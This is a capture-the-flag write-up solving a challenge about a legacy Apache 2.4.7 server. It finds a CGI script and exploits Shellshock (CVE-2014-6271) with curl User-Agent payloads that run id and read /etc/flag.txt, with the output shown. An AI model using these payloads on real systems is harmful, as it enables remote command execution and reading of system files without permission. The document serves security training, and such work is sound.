Blast From The Past
Description
You have been tasked with auditing a legacy system at DDA. This system is said to be so old, it has not been updated since 2014! It is said that it is vulnerable to a very famous vulnerability... Can you exploit it and read the flag at /etc/flag.txt?
Solution
Website is not showing any routes that go to other pages.
So the only information we have is Apache version 2.4.7; After too much research CVE's led to Shellshock (CVE-2014-6271)
Checking for common files we get /cgi-bin/test.cgi
└─$ curl https://68c3806105fa242443e6b4fe782683ca.chal.ctf.ae/cgi-bin/test.cgi
Hello, World!
Environment:
SERVER_SIGNATURE=<address>Apache/2.4.7 (Ubuntu) Server at 68c3806105fa242443e6b4fe782683ca.chal.ctf.ae Port 80</address>
HTTP_USER_AGENT=curl/8.8.0
SERVER_PORT=80
HTTP_HOST=68c3806105fa242443e6b4fe782683ca.chal.ctf.ae
DOCUMENT_ROOT=/var/www/html
SCRIPT_FILENAME=/usr/lib/cgi-bin/test.cgi
REQUEST_URI=/cgi-bin/test.cgi
SCRIPT_NAME=/cgi-bin/test.cgi
REMOTE_PORT=34342
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
CONTEXT_PREFIX=/cgi-bin/
PWD=/usr/lib/cgi-bin
SERVER_ADMIN=webmaster@localhost
REQUEST_SCHEME=http
HTTP_ACCEPT=*/*
REMOTE_ADDR=10.250.250.38
SHLVL=1
SERVER_NAME=68c3806105fa242443e6b4fe782683ca.chal.ctf.ae
SERVER_SOFTWARE=Apache/2.4.7 (Ubuntu)
QUERY_STRING=
SERVER_ADDR=10.200.106.64
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
CONTEXT_DOCUMENT_ROOT=/usr/lib/cgi-bin/
_=/usr/bin/env└─$ curl -H "User-Agent: () { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /usr/bin/id" https://68c3806105fa242443e6b4fe782683ca.chal.ctf.ae/cgi-bin/test.cgi
uid=33(www-data) gid=33(www-data) groups=33(www-data)└─$ curl -H "User-Agent: () { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /bin/cat /etc/flag.txt" https://68c3806105fa242443e6b4fe782683ca.chal.ctf.ae/cgi-bin/test.cgi
flag{EUU3ItYVjy6FiIjhMdkgT4SKKyjNmSPx}Flag: flag{EUU3ItYVjy6FiIjhMdkgT4SKKyjNmSPx}
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